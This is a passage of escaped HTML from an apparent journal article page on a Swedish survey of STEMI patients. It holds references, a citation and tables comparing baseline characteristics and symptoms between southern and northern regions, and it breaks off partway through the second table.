style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1002/clc.22278\">Roswell RO, Greet B, Parikh P, et al. (2014) From door-to-balloon time to contact-to-device time: Predictors of achieving target times in patients with ST-elevation myocardial infarction. Clin Cardiol 37: 389-394.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Ekl&ouml;f P. 1177 swedish healthcare direct (v&aring;rdguiden)-healthcare advice online and on the phone. http://Ww.1177.se. . </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1161/jaha.115.001927\">Bray JE, Stub D, Ngu P, et al. (2015) Mass media campaigns&#39; influence on prehospital behavior for acute coronary syndromes: An evaluation of the australian heart foundation&#39;s warning signs campaign. J Am Heart Assoc 4.</a></span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/2011f6915.png\" style=\"height:573px; width:300px\" /></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Figure 1: </strong>Population density with the five PCI-centres marked on the map.</span></span></p>\r\n','<p><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Isaksson RM, Sederholm-Lawesson S, Thylen I, Swahn E, Hellstr&ouml;m &Auml;ngerud K, et al. (2019) Geographical Diversities in Symptoms, Actions and Prehospital Delay Times in Swedish ST-Elevation Myocardial Infarction (STEMI) Patients: A Descriptive Multicenter Cross-Sectional Survey Study. Insights Cardiol Open Acc: ICOA-100001.</span></span></p>\r\n','<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:233.65pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:77.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">South</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=357</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:70.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">North</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=174</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:68.3pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">p-values</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Demographics</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Age, mean *</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">65.9 (11.5)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">65.0 (1.0)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Gender, male</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">271(76)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">134 (77)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Distance to hospital, &ge;50?km</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52 (15)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36 (21)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.08</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Marital status</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Single</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">84 (24)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38 (22)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Educational level</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Compulsory school</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">145 (41)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62 (36)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Smoking habits</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Current Smoker</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">86 (24)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">39 (22)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Clinical history</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hypertension </span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">148 (42)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">91 (52)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.02</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diabetes </span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45 (13)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">29 (17)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Previous myocardial infarction</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">56 (16)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14 (8)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.01</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Previous stroke</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (3)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (2)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Atrial Fibrillation</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17 (5)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (5)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Chronic Heart Failure</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13 (4)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (1)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.04</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Angina Pectoris</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51 (15)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (11)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:233.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Other serious concomitant disease, like renal failure and rheumatic diseases </span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">50 (14)</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41 (24)</span></p>\r\n			</td>\r\n			<td style=\"width:68.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.01</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><span style=\"font-size:10.0pt\">Data are presented as numbers (percentages) if not otherwise indicated. *Data are presented as mean (SD).</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Baseline characteristics</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:219.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:92.1pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">South</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=357</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:84.65pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">North</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=174</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:62.75pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">p-values</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Main complaint, pain/discomfort</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Chest/thorax</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">315 (88)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">156 (90)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Throat/neck</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">76 (21)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38 (22)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Cheek/teeth</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">43 (12)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27 (16)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Back</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">52 (15)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">32 (18)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Stomach </span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">31 (9)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12 (7)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Shoulders</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">61 (17)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">41 (24)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Arms/hands</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">190 (53)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">106 (61)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Associated symptoms</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tiredness/fatigue</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">120 (34)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58 (33)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1.0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Weakness</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">143 (40)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">68 (39)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dyspnea</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">113 (32)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">58 (33)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vertigo/pre-syncope/syncope</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89 (25)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">48 (28)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Nausea/vomiting</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">116 (33)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">63 (36)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Diaphoresis</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">214 (60)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">115 (66)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Anxiety</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51 (14)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12 (7)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.01</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fear</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">83 (23)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25 (14)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.02</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Symptom burden and intensity</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pain intensity, NRS, median (IQR)*</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (6-8)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (6-8)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Symptom burden, chief complaint, median (IQR)*</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1-3)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1-3)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Symptom burden, associated symptoms, median (IQR)*</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (2-4)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (2-4)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Interpretation of symptoms</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Believed that symptoms came from the heart</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">248 (69)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">107 (62)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:459.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">If answered yes &ndash; why?</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Had a previous MI</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47 (19)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13 (12)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Had previous angina pectoris</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">34 (14)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (8)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">A friend/neighbor had MI</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">35 (14)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">21 (20)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">A relative had MI</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81 (33)</span></p>\r\n			</td>\r\n			<td style=\"width:84.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44 (41)</span></p>\r\n			</td>\r\n			<td style=\"width:62.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:219.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Had read about MI</span></p>\r\n			</td>\r\n			<td style=\"width:92.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">88 (36)</span></p>\r\n			